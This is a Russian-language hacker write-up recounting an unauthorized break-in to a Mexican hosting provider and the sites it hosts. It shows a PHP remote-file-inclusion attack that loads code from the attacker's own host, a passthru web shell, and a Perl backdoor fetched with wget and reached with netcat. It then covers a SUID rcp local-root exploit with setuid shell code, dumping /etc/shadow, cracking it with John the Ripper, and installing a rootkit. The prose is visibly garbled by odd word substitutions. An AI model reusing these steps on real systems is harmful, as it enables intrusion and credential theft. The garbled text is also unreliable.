|
Root на хостинг-провайдере
Intro.
Я решил описать именно этот взлом, потому что он произошёл совсем давеча (причём, на этот момент - 23.01.03 - сервер всё ещё находится, так сказать, в руках DHG) также общий меня давным-давно просили описать какой-нибудь интересный взлом.
Я никак не хочу, дабы этот рассказ был пособием для чужих злодеяний, поэтому мы намеренно допускаю некоторые ошибки\неточности (которые, впрочем, всякий продвинутый пользователь заметит). Ну также разжёвывать элементарные вещи, типа "линуксовых команд также в каком месте искать, как компилить сплойты", мы никак не буду. Итак, поехали.
Round #1: remote.
Вообще, первоначально целью был Мексиканский Linux-портал www.***.com, какой как однажды хостился у этого провайдера.
Первым делом, нужно было узнать ось, на которой стоит этот портал. Хотя, ясен пень, что сайт о Linux'e никак не может висеть на виндах. На http был: "Apache/1.3.26 (Unix) (Red Hat/Linux) Chili!Soft-ASP/3.6.2 PHP/4.1.2", ftp-баннер гласил:
managedhosting FTP server (Version 6.5/OpenBSD, linux port 0.3.2) ready.
Сканировать порты, cgi-bug'и также всякую подобную чушь, мы никак не стал - точнее, решил отложить на потом. Ну также ипом ессно освещать никак не хотелось. Так вот, в ftp-баннере промелькнуло выражение "hosting"! Забив на ripnet, мы решил обратиться непосредственно к ip'у, какой имел www.***.com. Он вывел меня на сайт "managedhosting.dialtoneinternet.com.mx", который, очевидно, был его хостером. Позже непродолжительного ручного bruteforce'a был вычислен реальный сайт хостинга: dialtoneinternet.com.mx (www.dialtone.com).
На этом мы решил пока что остановиться также возвратиться к ломаемому сайту. Он стоял на PHP-движке "phpWebSite" неизвестной версии. Этот очередной клон php-nuke'a никак не отличался особым упором на безопасность. Все версии PWS вплоть до 0.8.2 (даже с пометкой Stable) имели уязвимость класса 'Php source injection'. Те, кому ничто это никак не говорит, смотрите статью r4ShRaY'я об этой уязвимости. Остальные же, читайте дальше. Итак, вот кусочек сорса файла modsecurity.php:
<?php
global $inc_prefix;
if(!$inc_prefix) {
...
}
...
include_once($inc_prefix."htmlheader.php");
?>
Имхо, тут всё всем должно существовать ясно. Запустив этот скрипт похожим образом:
http://www.***.com/modsecurity.php?inc_prefix=http://www.dhgroup.org
Файл htmlheader.php, лежащий на нашем сайте, выполнится с пока_неопределёнными_правами. Единственное, что меня тормошило, так это то, Что на атакуемом сайте стоит пропатченная, или более новая разновидность (всё-таки, это никак не какая-то 'Vasya's home page', но портал для kewl-Linux-userz).
В общем, мы создал файл htmlheader.php на нашем сайте вот такого содержания:
<? passthru("$cmd") ?>
Далее пошёл по адресу:
modsecurity.php?inc_prefix=http://www.dhgroup.org&cmd=ls
На что мы получил листинг каталога www. #Прим. далее все команды буду строчить без "...?inc_prefix=http://..."!
Round #2: local.
>echo hi>kewl.txt; cat kewl.txt
На данные две команды браузер ответил порожним снежно-белым экраном. Это говорило о том, что прав на запись в каталог www у меня нет. То есть, выражать о дефейсе пока что раненько. Что ж, пред тем как предпринимать какие-либо дальнейшие действия, нужно было собрать побольше сведений о системе. Главным занятием мы полез за файлом httpd.conf:
>cat /etc/httpd/conf/httpd.conf
Оттуда мы выдрал версию фроника (кстати говоря, http-заголовок 'Server' умалчивал о наличии FrontPage'a) также маршрут к www-директориям сайтов: dialtoneinternet.com.mx (ломаемый хостинг-провайдер), stormarketing.com, altavistablinds.com, parigitown.com, ну также ещё к нескольким крупным ресурсам:
# -FrontPage- version=4.0
##
## httpd.conf -- Apache HTTP server configuration file
##
...
<VirtualHost 66.33.62.88>
<Directory /home/admin/www/serversecure>
Options All
AllowOverride All
</Directory>
ServerName dialtoneinternet.com.mx
ServerAlias www.dialtoneinternet.com.mx
DocumentRoot /home/admin/www
ErrorLog logs/error_log
TransferLog logs/transfer_log
Group nobody
ScriptAlias /cgi-bin/ /home/admin/www/cgi-bin/
</VirtualHost>
...
Конечно, чтоб их дефейсить ,прав никак не достаточно, НО их вполне хватит, дабы просмотреть фрониковые service.pwd (если таковые имеются) этих сайтов, со всеми вытекающими отсюда последствиями ;) Данную возможность мы оставил на тот приключение, ежели мне всё-таки никак не удастся поднять свои привелегии.
Далее, для интереса мы ввёл:
>netstat -a
На что получил (# - мои метки):
Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 1 66.33.62.*:2114 by.ru:www LAST_ACK # (1) tcp 0 0 66.33.62.*:www 62.141.75.226:3116 ESTABLISHED tcp 0 0 *:www *:* LISTEN tcp 0 0 *:imap2 *:* LISTEN tcp 0 0 *:pop3 *:* LISTEN tcp 0 0 *:ftp *:* LISTEN tcp 0 0 *:81 *:* LISTEN tcp 0 0 *:https *:* LISTEN # (2) tcp 0 0 managedhosting.d:domain *:* LISTEN tcp 0 0 managedhosting2.:domain *:* LISTEN tcp 0 0 spacebattles.net:domain *:* LISTEN tcp 0 0 66.33.62.*:domain *:* LISTEN tcp 0 0 localhost.locald:domain *:* LISTEN tcp 0 0 *:smtp *:* LISTEN tcp 0 0 *:mysql *:* LISTEN tcp 0 0 *:casp3001 *:* LISTEN tcp 0 0 *:casp3000 *:* LISTEN tcp 0 0 *:casp5105 *:* LISTEN tcp 0 0 *:casp5103 *:* LISTEN tcp 0 0 *:casp5104 *:* LISTEN tcp 0 0 *:1581 *:* LISTEN tcp 0 0 *:1024 *:* LISTEN tcp 0 0 *:ssh *:* LISTEN # (3) udp 0 0 *:4320 *:* udp 0 0 managedhosting.d:domain *:* udp 0 0 managedhosting2.:domain *:* udp 0 0 spacebattles.net:domain *:* udp 0 0 66.33.62.*:domain *:* udp 0 0 localhost.locald:domain *:* raw 0 0 *:udp *:* 7 raw 0 0 *:tcp *:* 7 raw 0 0 *:icmp *:* 7 raw 0 0 *:tcp *:* 7 Active UNIX domain sockets (servers and established) Proto RefCnt Flags Type State I-Node Path unix 0 [ ACC ] STREAM LISTENING 552166 /home/httpsd/cache/ssl.socket unix 0 [ ACC ] STREAM LISTENING 2087 /tmp/mysql.sock unix 4 [ ] DGRAM 290 /dev/log unix 0 [ ACC ] STREAM LISTENING 549144 /var/run/ndc unix 0 [ ] STREAM 565939 unix 0 [ ] DGRAM 555692 unix 0 [ ] DGRAM 549142 unix 0 [ ] DGRAM 3193 unix 0 [ ] DGRAM 303(1) - это мы =)
(2) - наличие ssl обычно выражает об обмене приватной инфой с сервером (cc, например). Хотя, для хостинга это в распорядке вещей.
(3) - вот он шелл! Он нам впоследствии пригодится.
Вот также порты сканировать никак не потребовалось :)
Далее нужно было приступать к каким-то конкретным действиям, а точнее, узнать хоть бы почти версию шапки плюс, исходя из этого, уже плясать дальше. Так вот, для тех кто никак не знает, некоторые (если никак не все) Linux-дистрибутивы оставляют файл "*-release" (где * - название дистриба: mandrake-release, cobalt-release...) в каталоге /etc/ также админы никак не имеют повадки его устранять.
>cat /etc/redhat-release :
Red Hat Linux release 6.1 (Cartman)
Обааааа, нужно сказать, такого мы никак не ожидал :) Всё остальное бла бла было делом техники.. Для достижения долгожданного рута мы решил юзать RedHat'овскую уязвимость в rcp.
Red Hat 6.2: rcp possible root hole
На самом деле, уязвимость была найдена в шапке 6.2.. Про 6.1 в посте от Andrew Griffiths и Tlabs никак не говорилось ни слова. Понадеявшись на удачу, мы ввёл:
>ls -alF `which rcp`
-rwsr-xr-x 1 root root 14868 Jul 30 1999 /usr/bin/rcp*
Оп! Суидный rcp владеет помещение быть! Это уже хорошо :) Я залил себе "rcpsploit.pl" от tlabs плюс, изучив сорс, остановился. Я, пожалуй, объясню, как трудится этот сплойт - возможно, это поможет Вам осознать сущность уязвимости также возникшей проблемы.
Итак, он создаёт 2 файла:
/tmp/shell.c---------------------
#include
#include
int main()
{
setuid(0);
setgid(0);
execl("/bin/sh","sh",0);
return 0;
}
hey------------------------------
Sploit written by tlabs, thanks to Andrew Griffiths for the bug report
Затем, чрез суидный rcp, сплойт компилит shell.c также chmod'ом действует его таким бла бла суидным. Вот также всё! Запускаем скомпилированный shell также приобретаем шелл с uid=0, gid=0. Но что толку нам от этого шелла, ежели мы выполняем команды чрез веб-сервер? :-/
Заставить этот сплойт трудиться разрешено было только на "нормальном" шелле.
Что ж, нужен шелл? Он будет! В моём warez-архиве уже давным-давно пылился маленький перловый троян, которым мы также решил воспользоваться:
>wget -o=/tmp/.tmp.pl http://www.dhgroup.org/exp/backhole.pl
>chmod 755 /.tmp/tmp.pl
>perl /tmp/.tmp.pl
Далее на своём компе:
>nc ***.com 51015
Приконнектившись:
>cd /tmp
>wget -c http://www.dhgroup.org/exp/rcpsploit.pl
>chmod 755 rcpsploit.pl; perl rcpsploit.pl
Ok, too easy, we'll just launch a shell, lets hope shit went well innit:)
>id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
Вот также всё :) Ну также последнее:
>cat /etc/shadow
root:###:11961:0:99999:7:-1:-1:134549964
bin:*:10925:0:99999:7:::
daemon:*:10925:0:99999:7:::
adm:###:11577:0:99999:7:-1:-1:134549852
...etc...
JTR насчитал 977 паролей %) Чтоб ускорить перебор, мы ввёл:
john -i:all -u:root shadow
Где-то 8 часов и... долгожданный момент:
Затем я залил туда lrk, несколько datapipe'ов также bnc... хоть это уже совсем другая история....
Что использовалось при взломе:
Netscape v.xz
secureCRT 3.1
NetCat
John The Ripper
backhole.pl
rcpsploit.pl
Мозги
PacketStormSecurity
Выводы\замечания\комментарии:
1. Если тот либо иной сервер важно именует себя Хостинг-провайдером либо Linux-порталом - это никак не значит, что он хорошо защищён.
2. В процессе взлома не стоит особо объявлять своим ипом (об этом в дальнейшем ещё станет статья).
3. При взломе почти что никак не использовался, так называемый, "хакерский" софт.
4. RH6.* - никак не кушать гуд :)
P.S. имхо, у читателя может сложится такое впечатление, что мне просто повезло также общий взлом занимал пару минут.. Это никак не так. Были моменты, в какое время просто опускались руки, в какое время хотелось бороться головой о стенку.
Автор: D4rkGr3y
Дата створення/оновлення: 25.05.2018